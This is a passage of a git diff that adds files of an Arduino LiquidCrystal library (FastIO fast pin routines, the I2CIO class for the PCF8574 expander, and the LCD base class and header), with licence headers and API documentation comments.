fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + //hold pin LOW for 1us - done! :) + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + //hold pin HIGH for 15us + delayMicroseconds(15); + } + else + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // LOW = 0 Bit + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + // hold pin LOW for 15us + delayMicroseconds(15); + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH); + } // end critical section + + // hold pin HIGH for 30us + delayMicroseconds(30); + } + if(!noLatch && i==1) + { + break; + } + } + + if(!noLatch) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + // send last bit (=LOW) and Latch command + fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW); + } // end critical section + delayMicroseconds(199); // Hold pin low for 200us + + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + fio_digitalWrite_HIGH(shift1Register,shift1Bit); + } // end critical section + delayMicroseconds(299); // Hold pin high for 300us and leave it that + // way - using explicit HIGH here, just in case. + } +} + +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch) +{ + fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch); +} diff --git a/libraries/LiquidCrystal/FastIO.h b/libraries/LiquidCrystal/FastIO.h new file mode 100644 index 0000000..8636e20 --- /dev/null +++ b/libraries/LiquidCrystal/FastIO.h @@ -0,0 +1,219 @@ +// --------------------------------------------------------------------------- +// Created by Florian Fida on 20/01/12 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// http://creativecommons.org/licenses/by-sa/3.0/ +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// --------------------------------------------------------------------------- +// fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black +// (http://www.romanblack.com/shift1.htm) +// +// Thread Safe: No +// Extendable: Yes +// +// @file FastIO.h +// This file implements basic fast IO routines. +// +// @brief +// +// @version API 1.0.0 +// +// @author Florian Fida - +// 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino +// support chipkit: +// (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/ +// cores/pic32/wiring_digital.c) +// --------------------------------------------------------------------------- +#ifndef _FAST_IO_H_ +#define _FAST_IO_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include // pleasing sanguino core +#include + + +#define SKIP 0x23 + +#if defined (__AVR__) +#include // for critical section management +typedef uint8_t fio_bit; +typedef volatile uint8_t *fio_register; + + +#elif defined(__PIC32MX__) +typedef uint32_t fio_bit; +typedef volatile uint32_t *fio_register; + + +#else +// fallback to Arduino standard digital i/o routines +#define FIO_FALLBACK +#define ATOMIC_BLOCK(dummy) if(true) +#define ATOMIC_RESTORESTATE +typedef uint8_t fio_bit; +typedef uint8_t fio_register; +#endif + + + +#if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK) +/* + * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type + * Using the portable Arduino interrupts() and noInterrupts() + */ +#define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet. +#define ATOMIC_FORCEON uint8_t sreg_save \ + __attribute__((__cleanup__(__iSeiParam))) = 0 + +static __inline__ uint8_t __iCliRetVal(void) +{ + noInterrupts(); + return(1); +} +static __inline__ void __iSeiParam(const uint8_t *__s) +{ + interrupts(); +} +#define ATOMIC_BLOCK(type) for(type, __Todo = __iCliRetVal(); __Todo; __Todo = 0) + +#endif // end of block to create compatible ATOMIC_BLOCK() + + + +/*! + @function + @abstract Get the output register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW); + +/*! + @function + @abstract Get the input register for specified pin. + @discussion if fast digital IO is disabled this function returns NULL + @param pin[in] Number of a digital pin + @result Register + */ +fio_register fio_pinToInputRegister(uint8_t pin); + +/*! + @function + @abstract Find the bit which belongs to specified pin + @discussion if fast digitalWrite is disabled this function returns the pin + @param pin[in] Number of a digital pin + @result Bit + */ +fio_bit fio_pinToBit(uint8_t pin); + + +/*! + @method + @abstract direct digital write + @discussion without any checks + @discussion falls back to normal digitalWrite if fast io is disabled + @param pinRegister[in] Register - ignored if fast digital write is disabled + @param pinBit[in] Bit - Pin if fast digital write is disabled + @param value[in] desired output + */ +// __attribute__ ((always_inline)) /* let the optimizer decide that for now */ +void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value ); + +/** + * This is where the magic happens that makes things fast. + * Implemented as preprocessor directives to force inlining + * SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known. + */ + +#ifndef FIO_FALLBACK +#define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit +#define fio_digitalWrite_HIGH(reg,bit) *reg |= bit +#define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit +#define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit) +#else +// reg -> dummy NULL, bit -> pin +#define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH) +#define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW) +#define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit)) +#define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val); +#endif + +/*! + @function + @abstract direct digital read + @discussion without any checks + @discussion falls back to normal digitalRead if fast io is disabled + @param pinRegister[in] Register - ignored if fast io is disabled + @param pinBit[in] Bit - Pin if fast io is disabled + @result Value read from pin + */ +int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit ); + +/*! + @method + @abstract faster shift out + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + @param bitOrder[in] bit order + */ +void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, + fio_bit clockBit, uint8_t value, uint8_t bitOrder ); + +/*! + @method + @abstract faster shift out clear + @discussion using fast digital write + @discussion falls back to normal digitalWrite if fastio is disabled + @param dataRegister[in] Register of data pin - ignored if fast digital write is disabled + @param dataBit[in] Bit of data pin - Pin if fast digital write is disabled + @param clockRegister[in] Register of data pin - ignored if fast digital write is disabled + @param clockBit[in] Bit of data pin - Pin if fast digital write is disabled + */ +void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit); + +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract one wire shift out + * @discussion protocol needs initialisation (fio_shiftOut1_init) + * @param pin[in] digital pin + * @param value[in] value to shift out, last byte is ignored and always shifted out LOW + */ +void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param shift1Register[in] pins register + * @param shift1Bit[in] pins bit + */ +void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit); +/*! + * @method + * @abstract initializes one wire shift out protocol + * @discussion Puts pin to HIGH state and delays until Capacitors are charged. + * @param pin[in] digital pin + */ +void fio_shiftOut1_init(uint8_t pin); + +#endif // FAST_IO_H diff --git a/libraries/LiquidCrystal/I2CIO.cpp b/libraries/LiquidCrystal/I2CIO.cpp new file mode 100644 index 0000000..577c910 --- /dev/null +++ b/libraries/LiquidCrystal/I2CIO.cpp @@ -0,0 +1,198 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include + +#include <../Wire/Wire.h> +#include "I2CIO.h" + +// CLASS VARIABLES +// --------------------------------------------------------------------------- + + +// CONSTRUCTOR +// --------------------------------------------------------------------------- +I2CIO::I2CIO ( ) +{ + _i2cAddr = 0x0; + _dirMask = 0xFF; // mark all as INPUTs + _shadow = 0x0; // no values set + _initialised = false; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +int I2CIO::begin ( uint8_t i2cAddr ) +{ + _i2cAddr = i2cAddr; + + Wire.begin ( ); + + _initialised = Wire.requestFrom ( _i2cAddr, (uint8_t)1 ); + +#if (ARDUINO < 100) + _shadow = Wire.receive (); +#else + _shadow = Wire.read (); // Remove the byte read don't need it. +#endif + + return ( _initialised ); +} + +// +// pinMode +void I2CIO::pinMode ( uint8_t pin, uint8_t dir ) +{ + if ( _initialised ) + { + if ( OUTPUT == dir ) + { + _dirMask &= ~( 1 << pin ); + } + else + { + _dirMask |= ( 1 << pin ); + } + } +} + +// +// portMode +void I2CIO::portMode ( uint8_t dir ) +{ + + if ( _initialised ) + { + if ( dir == INPUT ) + { + _dirMask = 0xFF; + } + else + { + _dirMask = 0x00; + } + } +} + +// +// read +uint8_t I2CIO::read ( void ) +{ + uint8_t retVal = 0; + + if ( _initialised ) + { + Wire.requestFrom ( _i2cAddr, (uint8_t)1 ); +#if (ARDUINO < 100) + retVal = ( _dirMask & Wire.receive ( ) ); +#else + retVal = ( _dirMask & Wire.read ( ) ); +#endif + + } + return ( retVal ); +} + +// +// write +int I2CIO::write ( uint8_t value ) +{ + int status = 0; + + if ( _initialised ) + { + // Only write HIGH the values of the ports that have been initialised as + // outputs updating the output shadow of the device + _shadow = ( value & ~(_dirMask) ); + + Wire.beginTransmission ( _i2cAddr ); +#if (ARDUINO < 100) + Wire.send ( _shadow ); +#else + Wire.write ( _shadow ); +#endif + status = Wire.endTransmission (); + } + return ( (status == 0) ); +} + +// +// digitalRead +uint8_t I2CIO::digitalRead ( uint8_t pin ) +{ + uint8_t pinVal = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Remove the values which are not inputs and get the value of the pin + pinVal = this->read() & _dirMask; + pinVal = ( pinVal >> pin ) & 0x01; // Get the pin value + } + return (pinVal); +} + +// +// digitalWrite +int I2CIO::digitalWrite ( uint8_t pin, uint8_t level ) +{ + uint8_t writeVal; + int status = 0; + + // Check if initialised and that the pin is within range of the device + // ------------------------------------------------------------------- + if ( ( _initialised ) && ( pin <= 7 ) ) + { + // Only write to HIGH the port if the port has been configured as + // an OUTPUT pin. Add the new state of the pin to the shadow + writeVal = ( 1 << pin ) & ~_dirMask; + if ( level == HIGH ) + { + _shadow |= writeVal; + + } + else + { + _shadow &= ~writeVal; + } + status = this->write ( _shadow ); + } + return ( status ); +} + +// +// PRIVATE METHODS +// --------------------------------------------------------------------------- diff --git a/libraries/LiquidCrystal/I2CIO.h b/libraries/LiquidCrystal/I2CIO.h new file mode 100644 index 0000000..e05f16b --- /dev/null +++ b/libraries/LiquidCrystal/I2CIO.h @@ -0,0 +1,148 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file I2CIO.h +// This file implements a basic IO library using the PCF8574 I2C IO Expander +// chip. +// +// @brief +// Implement a basic IO library to drive the PCF8574* I2C IO Expander ASIC. +// The library implements basic IO general methods to configure IO pin direction +// read and write uint8_t operations and basic pin level routines to set or read +// a particular IO port. +// +// @version API 1.0.0 +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- + +#ifndef _I2CIO_H_ +#define _I2CIO_H_ + +#include + +#define _I2CIO_VERSION "1.0.0" + +/*! + @class + @abstract I2CIO + @discussion Library driver to control PCF8574 based ASICs. Implementing + library calls to set/get port through I2C bus. + */ + +class I2CIO +{ +public: + /*! + @method + @abstract Constructor method + @discussion Class constructor constructor. + */ + I2CIO ( ); + + /*! + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise + */ + int begin ( uint8_t i2cAddr ); + + /*! + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). + */ + void pinMode ( uint8_t pin, uint8_t dir ); + + /*! + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). + */ + void portMode ( uint8_t dir ); + + /*! + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none + */ + uint8_t read ( void ); + + /*! + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. + */ + uint8_t digitalRead ( uint8_t pin ); + + /*! + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise + */ + int write ( uint8_t value ); + + /*! + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. + */ + int digitalWrite ( uint8_t pin, uint8_t level ); + + + +private: + uint8_t _shadow; // Shadow output + uint8_t _dirMask; // Direction mask + uint8_t _i2cAddr; // I2C address + bool _initialised; // Initialised object + +}; + +#endif \ No newline at end of file diff --git a/libraries/LiquidCrystal/LCD.cpp b/libraries/LiquidCrystal/LCD.cpp new file mode 100644 index 0000000..373f529 --- /dev/null +++ b/libraries/LiquidCrystal/LCD.cpp @@ -0,0 +1,347 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.cpp +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the HD44780 library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, ... +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// +// @version API 1.1.0 +// +// 2012.03.29 bperrybap - changed comparision to use LCD_5x8DOTS rather than 0 +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#include +#include +#include + +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include "LCD.h" + +// CLASS CONSTRUCTORS +// --------------------------------------------------------------------------- +// Constructor +LCD::LCD () +{ + +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- +// When the display powers up, it is configured as follows: +// +// 1. Display clear +// 2. Function set: +// DL = 1; 8-bit interface data +// N = 0; 1-line display +// F = 0; 5x8 dot character font +// 3. Display on/off control: +// D = 0; Display off +// C = 0; Cursor off +// B = 0; Blinking off +// 4. Entry mode set: +// I/D = 1; Increment by 1 +// S = 0; No shift +// +// Note, however, that resetting the Arduino doesn't reset the LCD, so we +// can't assume that its in that state when a sketch starts (and the +// LiquidCrystal constructor is called). +// A call to begin() will reinitialize the LCD. +// +void LCD::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + if (lines > 1) + { + _displayfunction |= LCD_2LINE; + } + _numlines = lines; + _cols = cols; + + // for some 1 line displays you can select a 10 pixel high font + // ------------------------------------------------------------ + if ((dotsize != LCD_5x8DOTS) && (lines == 1)) + { + _displayfunction |= LCD_5x10DOTS; + } + + // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! + // according to datasheet, we need at least 40ms after power rises above 2.7V + // before sending commands. Arduino can turn on way before 4.5V so we'll wait + // 50 + // --------------------------------------------------------------------------- + delay (100); // 100ms delay + + //put the LCD into 4 bit or 8 bit mode + // ------------------------------------- + if (! (_displayfunction & LCD_8BITMODE)) + { + // this is according to the hitachi HD44780 datasheet + // figure 24, pg 46 + + // we start in 8bit mode, try to set 4 bit mode + send(0x03, FOUR_BITS); + delayMicroseconds(4500); // wait min 4.1ms + + // second try + send ( 0x03, FOUR_BITS ); + delayMicroseconds(4500); // wait min 4.1ms + + // third go! + send( 0x03, FOUR_BITS ); + delayMicroseconds(150); + + // finally, set to 4-bit interface + send ( 0x02, FOUR_BITS ); + } + else + { + // this is according to the hitachi HD44780 datasheet + // page 45 figure 23 + + // Send function set command sequence + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(4500); // wait more than 4.1ms + + // second try + command(LCD_FUNCTIONSET | _displayfunction); + delayMicroseconds(150); + + // third go + command(LCD_FUNCTIONSET | _displayfunction); + } + + // finally, set # lines, font size, etc. + command(LCD_FUNCTIONSET | _displayfunction); + + // turn the display on with no cursor or blinking default + _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; + display(); + + // clear the LCD + clear(); + + // Initialize to default text direction (for romance languages) + _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; + // set the entry mode + command(LCD_ENTRYMODESET | _displaymode); + + backlight(); + +} + +// Common LCD Commands +// --------------------------------------------------------------------------- +void LCD::clear() +{ + command(LCD_CLEARDISPLAY); // clear display, set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // this command is time consuming +} + +void LCD::home() +{ + command(LCD_RETURNHOME); // set cursor position to zero + delayMicroseconds(HOME_CLEAR_EXEC); // This command is time consuming +} + +void LCD::setCursor(uint8_t col, uint8_t row) +{ + const byte row_offsetsDef[] = { 0x00, 0x40, 0x14, 0x54 }; // For regular LCDs + const byte row_offsetsLarge[] = { 0x00, 0x40, 0x10, 0x50 }; // For 16x4 LCDs + + if ( row >= _numlines ) + { + row = _numlines-1; // rows start at 0 + } + + // 16x4 LCDs have special memory map layout + // ---------------------------------------- + if ( _cols == 16 && _numlines == 4 ) + { + command(LCD_SETDDRAMADDR | (col + row_offsetsLarge[row])); + } + else + { + command(LCD_SETDDRAMADDR | (col + row_offsetsDef[row])); + } + +} + +// Turn the display on/off +void LCD::noDisplay() +{ + _displaycontrol &= ~LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::display() +{ + _displaycontrol |= LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns the underline cursor on/off +void LCD::noCursor() +{ + _displaycontrol &= ~LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LCD::cursor() +{ + _displaycontrol |= LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns on/off the blinking cursor +void LCD::noBlink() +{ + _displaycontrol &= ~LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +void LCD::blink() +{ + _displaycontrol |= LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// These commands scroll the display without changing the RAM +void LCD::scrollDisplayLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); +} + +void LCD::scrollDisplayRight(void) +{ + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); +} + +// This is for text that flows Left to Right +void LCD::leftToRight(void) +{ + _displaymode |= LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This is for text that flows Right to Left +void LCD::rightToLeft(void) +{ + _displaymode &= ~LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This method moves the cursor one space to the right +void LCD::moveCursorRight(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVERIGHT); +} + +// This method moves the cursor one space to the left +void LCD::moveCursorLeft(void) +{ + command(LCD_CURSORSHIFT | LCD_CURSORMOVE | LCD_MOVELEFT); +} + + +// This will 'right justify' text from the cursor +void LCD::autoscroll(void) +{ + _displaymode |= LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'left justify' text from the cursor +void LCD::noAutoscroll(void) +{ + _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// Write to CGRAM of new characters +void LCD::createChar(uint8_t location, uint8_t charmap[]) +{ + location &= 0x7; // we only have 8 locations 0-7 + + command(LCD_SETCGRAMADDR | (location << 3)); + delayMicroseconds(30); + + for (int i=0; i<8; i++) + { + write(charmap[i]); // call the virtual write method + delayMicroseconds(40); + } +} + +// +// Switch on the backlight +void LCD::backlight ( void ) +{ + setBacklight(255); +} + +// +// Switch off the backlight +void LCD::noBacklight ( void ) +{ + setBacklight(0); +} + +// +// Switch fully on the LCD (backlight and LCD) +void LCD::on ( void ) +{ + display(); + backlight(); +} + +// +// Switch fully off the LCD (backlight and LCD) +void LCD::off ( void ) +{ + noBacklight(); + noDisplay(); +} + +// General LCD commands - generic methods used by the rest of the commands +// --------------------------------------------------------------------------- +void LCD::command(uint8_t value) +{ + send(value, COMMAND); +} + +#if (ARDUINO < 100) +void LCD::write(uint8_t value) +{ + send(value, DATA); +} +#else +size_t LCD::write(uint8_t value) +{ + send(value, DATA); + return 1; // assume OK +} +#endif diff --git a/libraries/LiquidCrystal/LCD.h b/libraries/LiquidCrystal/LCD.h new file mode 100644 index 0000000..88a58ad --- /dev/null +++ b/libraries/LiquidCrystal/LCD.h @@ -0,0 +1,536 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LCD.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. This library is a refactored version of the one supplied +// in the Arduino SDK in such a way that it simplifies its extension +// to support other mechanism to communicate to LCDs such as I2C, Serial, SR, +// The original library has been reworked in such a way that this will be +// the base class implementing all generic methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets. +// +// This base class is a pure abstract class and needs to be extended. As reference, +// it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension +// backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @version API 1.1.0 +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef _LCD_H_ +#define _LCD_H_ + +#if (ARDUINO < 100) +#include +#else +#include +#endif + +#include +#include + + +/*! + @defined + @abstract Enables disables fast waits for write operations for LCD + @discussion If defined, the library will avoid doing un-necessary waits. + this can be done, because the time taken by Arduino's slow digitalWrite + operations. If fast digitalIO operations, comment this line out or undefine + the mode. + */ +#ifdef __AVR__ +#define FAST_MODE +#endif + +/*! + @function + @abstract waits for a given time in microseconds (compilation dependent). + @discussion Waits for a given time defined in microseconds depending on + the FAST_MODE define. If the FAST_MODE is defined the call will return + inmediatelly. + @param uSec[in] time in microseconds. + @result None + */ +inline static void waitUsec ( uint16_t uSec ) +{ +#ifndef FAST_MODE + delayMicroseconds ( uSec ); +#endif // FAST_MODE +} + + +/*! + @defined + @abstract All these definitions shouldn't be used unless you are writing + a driver. + @discussion All these definitions are for driver implementation only and + shouldn't be used by applications. + */ +// LCD Commands +// --------------------------------------------------------------------------- +#define LCD_CLEARDISPLAY 0x01 +#define LCD_RETURNHOME 0x02 +#define LCD_ENTRYMODESET 0x04 +#define LCD_DISPLAYCONTROL 0x08 +#define LCD_CURSORSHIFT 0x10 +#define LCD_FUNCTIONSET 0x20 +#define LCD_SETCGRAMADDR 0x40 +#define LCD_SETDDRAMADDR 0x80 + +// flags for display entry mode +// --------------------------------------------------------------------------- +#define LCD_ENTRYRIGHT 0x00 +#define LCD_ENTRYLEFT 0x02 +#define LCD_ENTRYSHIFTINCREMENT 0x01 +#define LCD_ENTRYSHIFTDECREMENT 0x00 + +// flags for display on/off and cursor control +// --------------------------------------------------------------------------- +#define LCD_DISPLAYON 0x04 +#define LCD_DISPLAYOFF 0x00 +#define LCD_CURSORON 0x02 +#define LCD_CURSOROFF 0x00 +#define LCD_BLINKON 0x01 +#define LCD_BLINKOFF 0x00 + +// flags for display/cursor shift +// --------------------------------------------------------------------------- +#define LCD_DISPLAYMOVE 0x08 +#define LCD_CURSORMOVE 0x00 +#define LCD_MOVERIGHT 0x04 +#define LCD_MOVELEFT 0x00 + +// flags for function set +// --------------------------------------------------------------------------- +#define LCD_8BITMODE 0x10 +#define LCD_4BITMODE 0x00 +#define LCD_2LINE 0x08 +#define LCD_1LINE 0x00 +#define LCD_5x10DOTS 0x04 +#define LCD_5x8DOTS 0x00 + + +// Define COMMAND and DATA LCD Rs (used by send method). +// --------------------------------------------------------------------------- +#define COMMAND 0 +#define DATA 1 +#define FOUR_BITS 2 + + +/*! + @defined + @abstract Defines the duration of the home and clear commands + @discussion This constant defines the time it takes for the home and clear + commands in the LCD - Time in microseconds. + */ +#define HOME_CLEAR_EXEC 2000 + +/*! + @defined + @abstract Backlight off constant declaration + @discussion Used in combination with the setBacklight to swith off the + LCD backlight. @set setBacklight +*/ +#define BACKLIGHT_OFF 0 + +/*! + @defined + @abstract Backlight on constant declaration + @discussion Used in combination with the setBacklight to swith on the + LCD backlight. @set setBacklight + */ +#define BACKLIGHT_ON 255 + + +/*! + @typedef + @abstract Define backlight control polarity + @discussion Backlight control polarity. @see setBacklightPin. + */ +typedef enum { POSITIVE, NEGATIVE } t_backlighPol; + +class LCD : public Print +{ +public: + + /*! + @method + @abstract LiquidCrystal abstract constructor. + @discussion LiquidCrystal class abstract constructor needed to create + the base abstract class. + */ + LCD ( ); + + /*! + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none + */ + void clear(); + + /*! + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to the display. + To also clear the display, use the clear() function instead. + + This operation is time consuming for the LCD. + + @param none + */ + void home(); + + /*! + @function + @abstract Turns off the LCD display. + @discussion Turns off the LCD display, without losing the text currently + being displayed on it. + + @param none + */ + void noDisplay(); + + /*! + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none + */ + void display(); + + /*! + @function + @abstract Turns off the blinking of the LCD cursor. + + @param none + */ + void noBlink(); + + /*! + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none + */ + void blink(); + + /*! + @function + 